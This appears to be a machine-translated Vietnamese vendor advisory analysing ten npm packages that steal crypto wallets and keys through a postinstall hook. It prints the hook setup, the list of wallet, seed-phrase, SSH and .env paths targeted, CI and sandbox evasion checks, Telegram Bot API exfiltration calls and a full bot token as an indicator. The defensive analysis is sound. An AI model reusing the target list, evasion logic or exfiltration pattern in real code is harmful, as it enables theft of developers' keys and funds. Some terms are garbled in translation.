SeedSweep: Mười gói mã hóa npm độc hại

SeedSweep: Mười gói npm theo chủ đề tiền điện tử chỉ chạy khi không có ai giám sát

TL; DR

Vào ngày 9 tháng 6 năm 2026, một tài khoản nhà xuất bản npm duy nhất, aicrypto-xzgggđã được vận chuyển mười gói hàng với những cái tên mang hơi hướng tiền điện tử và Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9và sáu cái nữa.

Mỗi gói đều chạy cùng một tải trọng từ một postinstall hook. Khi cài đặt, nó kiểm tra xem có đang chạy bên trong CI hay môi trường sandbox hay không — nếu không, nó sẽ đọc các kho khóa ví, tệp cụm từ hạt giống, khóa SSH, và .env Thu thập các tập tin từ sáu hệ sinh thái blockchain khác nhau và truyền chúng đến một bot Telegram.

Dấu hiệu duy nhất mà người phòng thủ có thể tìm kiếm ngay lập tức là ID của bot Telegram. 8227918239.

Mức độ nghiêm trọng: quan trọng — hành vi trộm cắp trực tiếp các khóa ký và cụm từ khôi phục từ máy trạm phát triển.

Cuộc tấn công: Cơ chế hoạt động

Các gói phần mềm này tự quảng cáo là các tiện ích dành cho nhà phát triển blockchain. package.json mức độ tối thiểu và hướng vòng đời cài đặt vào một tập lệnh:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js Đây là một đoạn mã trung gian một dòng dùng để tải trọng thực sự: require(“../src/index.js”). Bởi vì sau khi cài đặt chạy tự động trong quá trình NPM cài đặtViệc này không yêu cầu lập trình viên phải nhập mã — chỉ cần đặt gói vào cây phụ thuộc là đủ để thực thi nó.

Chuỗi giết chóc bên trong src / index.js Gồm bốn bước:

  1. Kiểm tra môi trường. Chức năng bảo vệ quyết định xem máy chủ có giống một tác nhân xây dựng hay một môi trường phân tích hay không.
  2. Trì hoãn. Việc thực thi bị hoãn lại sau một setTimeout Khoảng 7.4 giây.
  3. Bộ sưu tập. Hệ thống sẽ duyệt qua một danh sách cố định các đường dẫn đến ví, khóa và tệp bí mật; các tệp hiện có sẽ được xếp vào hàng đợi.
  4. Rò rỉ. Các tệp được xếp vào hàng đợi sẽ được gửi đến một bot Telegram, kèm theo một tin nhắn tóm tắt.

Danh sách mục tiêu thu thập trải rộng trên sáu chuỗi cộng với các bí mật chung của nhà phát triển. (Đã cắt bớt)

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Tổng cộng có 21 đường dẫn. Các mục trong thư mục như sau: ~/.ethereum/keystore được mở rộng và mọi tập tin bên trong đều được xếp vào hàng đợi. Quá trình đánh cắp dữ liệu sử dụng trực tiếp API của Telegram Bot — một gửi tin nhắn cuộc gọi với thông tin tóm tắt về máy chủ và tệp, sau đó là gửi tài liệu Tải lên nhiều phần cho mỗi tập tin:

văn bản

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Thông báo tóm tắt mà đoạn mã tạo ra bắt đầu bằng chuỗi ký tự. KẺ TRỘM TIỀN ĐIỆN TỬTiếp theo là tên máy chủ, tên người dùng, tên gói nguồn, số lượng tệp và dấu thời gian.

Có gì mới ở đây

Điểm khác biệt không nằm ở cơ chế đánh cắp — việc trích xuất dữ liệu dựa trên Telegram từ npm. sau khi cài đặt hooks Đây là con đường quen thuộc. Nó là cổng thực thi. Trước khi thực hiện bất cứ điều gì, payload sẽ gọi một hàm trả về true khi máy chủ giống với trình chạy CI hoặc sandbox, và trả về sớm khi không giống:

văn bản

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Biểu thức chính quy container-id là điều khoản đáng chú ý: tên máy chủ gồm 12 ký tự thập lục phân là hình dạng mặc định mà Docker gán cho một container. chứaVì vậy, phần mềm độc hại coi "tên máy chủ của tôi trông giống như một container Docker" là lý do để duy trì trạng thái ngủ đông. Kết hợp với độ trễ bảy giây, thiết kế này ưu tiên chạy trên máy trạm thực của nhà phát triển và giữ im lặng ở bất kỳ nơi nào trông giống như phân tích tự động. Cơ chế này đã ngăn chặn các tín hiệu phân tích động và giữ cho luồng dữ liệu tĩnh được trích xuất làm bằng chứng buộc tội chính.

Lịch Trình Sự Kiện

Ngày (UTC) Sự kiện
2026-06-09 ~02:48 Các gói đầu tiên trong cụm được gắn cờ khi xuất bản (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Các thành viên có phiên bản cao hơn được gắn cờ (ethereum-kit-9 ở tuổi 1.25.36, wallet-sdk-9 lúc 3.7.73)
2026-06-09 ~03:58–03:59 Các thành viên cuối cùng đã được gắn cờ (defi-tools-39 ở tuổi 4.26.29, swap-sdk-87 ở tuổi 4.63.78, farming-tools-12 lúc 4.68.54)
2026-06-09 Cả mười phần mềm đều được phân loại là độc hại và đã được báo cáo để xóa khỏi registry.

Cả mười bài viết đều xuất hiện trong khoảng bảy mươi phút, phù hợp với một kịch bản đăng tải duy nhất từ ​​một tài khoản duy nhất.

Các chỉ số về sự thỏa hiệp

Các chỉ số mạng và hành vi (đã được lược bỏ mã độc của máy chủ):

chỉ số Giá trị
Điểm cuối xuất khẩu api[.]telegram[.]org (API Bot Telegram)
ID bot Telegram 8227918239
Mã thông báo Bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID nhóm chat Telegram 6433587894
Lắp đặt móc postinstallscripts/postinstall.jssrc/index.js
Dây đánh dấu CRYPTO STEALER trong thông điệp tóm tắt đã được biên soạn
Nhà xuất bản aicrypto-xzggg (email đã nêu) vipsyria88@gmail[.]com(chưa được xác minh)

Các gói và phiên bản, mỗi gói đều có mã SHA-256 của nó. src / index.js tải trọng (các tải trọng này về cơ bản là giống hệt nhau và chỉ khác nhau ở nhãn tên gói được nhúng, do đó mỗi mã băm là riêng biệt):

html
Bưu kiện phiên bản Mã SHA-256 của src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Một truy vấn tìm kiếm đơn giản: tìm kiếm nhật ký cài đặt và tệp khóa cho bất kỳ tên nào trong số mười tên đó, và tìm kiếm lưu lượng truy cập đi ra để tìm các kết nối đến API Telegram Bot từ các máy chủ xây dựng hoặc nhà phát triển mà không sử dụng API này.

Sự quy kết và hành vi quan sát được

Cả mười gói sản phẩm đều được đăng tải bởi cùng một tài khoản. aicrypto-xzggg, người có địa chỉ email đã nêu là vipsyria88@gmail.comCả địa chỉ email và liên kết nguồn đều chưa được xác minh trong siêu dữ liệu đăng ký, và tài khoản này có điểm uy tín rất thấp. Chúng tôi chưa xác nhận được ai là người điều hành tài khoản này.

Có hai chi tiết cần được tách biệt khỏi bất kỳ tuyên bố nào về danh tính. Thứ nhất, package.json tác giả trường đọc Alex Smith trên mỗi gói, trong khi tài khoản xuất bản thực tế là aicrypto-xzgggThứ nhất, trường tác giả là siêu dữ liệu tự khai báo và không xác lập quyền tác giả. Số phiên bản rất khác nhau — một số thành viên có số phiên bản ở mức... 1.0.0, những người khác tại 4.68.54 — điều này phù hợp với việc tái sử dụng một gói dữ liệu duy nhất trên các tên gói mới được tạo ra thay vì duy trì lịch sử phát hành thực tế.

Hành vi này đồng nhất trên toàn cụm: cùng một danh sách đường dẫn đích, cùng một ID bot Telegram và ID trò chuyện, cùng một cổng môi trường, cùng một... KẺ TRỘM TIỀN ĐIỆN TỬ Dấu hiệu nhận biết. Tính đồng nhất đó là mối liên kết mạnh nhất giữa các gói phần mềm. Đó là tín hiệu của cùng một nhà khai thác, chứ không phải là sự đồng nhất.

Tác động, xu hướng và hướng dẫn dành cho người bảo vệ

Rủi ro là có thật. Một nhà phát triển cài đặt bất kỳ gói phần mềm nào trong số này trên máy trạm chứa ví phần mềm, tệp cụm từ khôi phục hoặc khóa SSH sẽ thấy các tệp đó bị đọc và truyền ra khỏi máy chủ chỉ trong vài giây. Cụm từ khôi phục và khóa ký không hết hạn như mã thông báo phiên; một khi... mnemonic.txt hoặc một Solana id.json Khi máy rời khỏi vị trí, số tiền mà máy kiểm soát sẽ gặp rủi ro cho đến khi được chuyển đi. Quá trình này cũng bao gồm việc thu thập thông tin. .NS các tệp này thường chứa khóa API và thông tin đăng nhập cơ sở dữ liệu.

Có hai xu hướng đứng sau cụm này. Thứ nhất là việc tiếp tục sử dụng các tên gọi liên quan đến mật mã và Web3 để thu hút một đối tượng cụ thể — các nhà phát triển giữ ví và khóa trên cùng một máy mà họ cài đặt các thư viện phụ thuộc. Thứ hai là sự hoàn thiện của việc né tránh môi trường sandbox trong các payload cài đặt. Một cơ chế kiểm tra các biến môi trường CI, tên người dùng runner và hình dạng tên máy chủ ID container Docker là một nỗ lực có chủ đích để hoạt động khác biệt khi phân tích so với trên một máy trạm thực tế, và nó nâng cao tiêu chuẩn cho việc phát hiện hoàn toàn động.

Dành cho hậu vệ:

Cài đặt với tùy chọn tắt tập lệnh theo mặc định. npm install –ignore-scripts, hoặc thiết lập ignore-scripts=true in .npmrc, ngăn cản sau khi cài đặt Thực thi; chỉ cho phép sử dụng tập lệnh đối với các phụ thuộc cụ thể thực sự cần đến chúng.

Hãy giữ ví điện tử và khóa ký điện tử ở ngoài các máy chủ xây dựng và phát triển. Sử dụng ví phần cứng hoặc máy chủ ký điện tử chuyên dụng, không phụ thuộc vào bất kỳ phần mềm nào khác.

Điều trị .NSCác tệp khóa và tệp cụm từ hạt giống được coi như những báu vật. Chúng không bao giờ nên nằm trong cùng một thư mục với các thư mục khác. NPM cài đặt cây làm việc.

Hãy tìm kiếm các kết nối đi ra đến API Telegram Bot từ CI và các máy chủ phát triển. Hầu hết các môi trường xây dựng không bao giờ gọi đến nó; một môi trường đột nhiên gọi đến API này ngay sau khi cài đặt thì đáng để điều tra.

Ghim và xem xét các phần phụ thuộc. Một gói hoàn toàn mới với tên mã hóa chung, một sau khi cài đặt hook, và không có liên kết kho lưu trữ nào cần được xem xét trước khi nó được đưa vào tệp khóa.

Điều khoản né tránh ID container cũng là lời nhắc nhở cho các nhà phân tích: một payload trong quá trình cài đặt nằm im trong môi trường sandbox không phải là vô hại, mà nó có tính chọn lọc. Việc xem xét tĩnh đường dẫn cài đặt vẫn là cách đáng tin cậy để xem quá trình thực thi động có thể bỏ sót điều gì.

dự án

Tài liệu hướng dẫn cài đặt npm — các tập lệnh vòng đời và –Ignore-scripts— Tham khảo hướng dẫn tắt cài đặt tự động hooks. 

sca-tools-software-composition-analysis-tools
Ưu tiên, khắc phục và bảo mật các rủi ro phần mềm của bạn
Đăng ký tài khoản miễn phí ngay.
Không cần thẻ tín dụng.

Bảo mật quá trình phát triển và phân phối phần mềm của bạn.

với bộ sản phẩm Xygeni